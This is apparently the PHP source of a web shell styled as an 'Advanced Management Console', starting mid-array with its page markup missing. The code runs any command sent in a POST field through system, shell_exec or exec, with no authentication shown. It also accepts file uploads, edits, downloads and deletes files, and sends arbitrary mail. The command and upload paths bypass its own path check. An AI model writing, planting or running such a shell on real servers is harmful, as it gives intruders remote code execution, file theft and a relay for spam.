dddddd
Management Console
PHP_OS,
'PHP Version' => phpversion(),
'Server Software' => $_SERVER['SERVER_SOFTWARE'],
'Server IP' => $_SERVER['SERVER_ADDR'],
'Server Name' => $_SERVER['SERVER_NAME'],
'Document Root' => $_SERVER['DOCUMENT_ROOT'],
'Current Path' => getcwd(),
'Disk Space' => disk_free_space("/") . " bytes free",
'PHP Mail Enabled' => function_exists('mail') ? 'Yes' : 'No'
);
return $info;
}
function executeCommand($cmd) {
if (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_contents();
ob_end_clean();
return $output;
} elseif (function_exists('shell_exec')) {
return shell_exec($cmd);
} elseif (function_exists('exec')) {
exec($cmd, $output);
return implode("\n", $output);
}
return "Command execution not available";
}
function formatSize($bytes) {
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, 2) . ' ' . $units[$pow];
}
function validatePath($path) {
// Convert to real path
$realPath = realpath($path);
if ($realPath === false) return false;
// Check if path is within document root
$docRoot = realpath($_SERVER['DOCUMENT_ROOT']);
return strpos($realPath, $docRoot) === 0;
}
function listDirectory($path) {
$items = scandir($path);
$files = array();
// Add parent directory if not in document root
if (realpath($path) !== realpath($_SERVER['DOCUMENT_ROOT'])) {
$files[] = array(
'name' => '..',
'type' => 'dir',
'size' => 0,
'perms' => '',
'modified' => '',
'fullpath' => dirname($path)
);
}
foreach ($items as $item) {
if ($item != "." && $item != "..") {
$fullpath = $path . DIRECTORY_SEPARATOR . $item;
$files[] = array(
'name' => $item,
'type' => is_dir($fullpath) ? 'dir' : 'file',
'size' => is_dir($fullpath) ? '-' : formatSize(filesize($fullpath)),
'perms' => substr(sprintf('%o', fileperms($fullpath)), -4),
'modified' => date("Y-m-d H:i:s", filemtime($fullpath)),
'fullpath' => $fullpath
);
}
}
return $files;
}
function sendTestEmail($to, $subject, $message) {
$headers = 'From: webmaster@example.com' . "\r\n" .
'Reply-To: webmaster@example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
if(mail($to, $subject, $message, $headers)) {
return "Email sent successfully to $to";
} else {
return "Failed to send email to $to";
}
}
// Handle Actions
$output = '';
$currentPath = isset($_POST['path']) ? $_POST['path'] : $_SERVER['DOCUMENT_ROOT'];
$editContent = '';
$editFile = '';
$emailStatus = '';
// Validate and update current path
if (isset($_POST['navigate_path'])) {
$newPath = $_POST['navigate_path'];
if (validatePath($newPath)) {
$currentPath = $newPath;
} else {
$output = "Invalid path or access denied";
}
}
if (isset($_POST['action'])) {
switch ($_POST['action']) {
case 'execute':
$output = executeCommand($_POST['command']);
break;
case 'upload':
if (isset($_FILES['file'])) {
$uploadPath = $currentPath . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
$output = "File uploaded successfully";
} else {
$output = "Upload failed";
}
}
break;
case 'download':
$file = $_POST['file'];
if (file_exists($file) && validatePath($file)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
readfile($file);
exit;
}
break;
case 'delete':
$file = $_POST['file'];
if (file_exists($file) && validatePath($file)) {
if (is_dir($file)) {
rmdir($file);
} else {
unlink($file);
}
$output = "Item deleted successfully";
}
break;
case 'edit':
$editFile = $_POST['file'];
if (file_exists($editFile) && validatePath($editFile)) {
$editContent = file_get_contents($editFile);
}
break;
case 'save':
$file = $_POST['file'];
if (validatePath($file)) {
$content = $_POST['content'];
if (file_put_contents($file, $content) !== false) {
$output = "File saved successfully";
} else {
$output = "Failed to save file";
}
}
break;
case 'mkdir':
$newDir = $currentPath . DIRECTORY_SEPARATOR . $_POST['dirname'];
if (!file_exists($newDir) && validatePath($currentPath)) {
mkdir($newDir);
$output = "Directory created successfully";
} else {
$output = "Directory already exists or access denied";
}
break;
case 'send_email':
if (isset($_POST['email_to']) && isset($_POST['email_subject']) && isset($_POST['email_message'])) {
$emailStatus = sendTestEmail(
$_POST['email_to'],
$_POST['email_subject'],
$_POST['email_message']
);
}
break;
}
}
$systemInfo = getSystemInfo();
$dirContents = listDirectory($currentPath);
?>
Advanced Management Console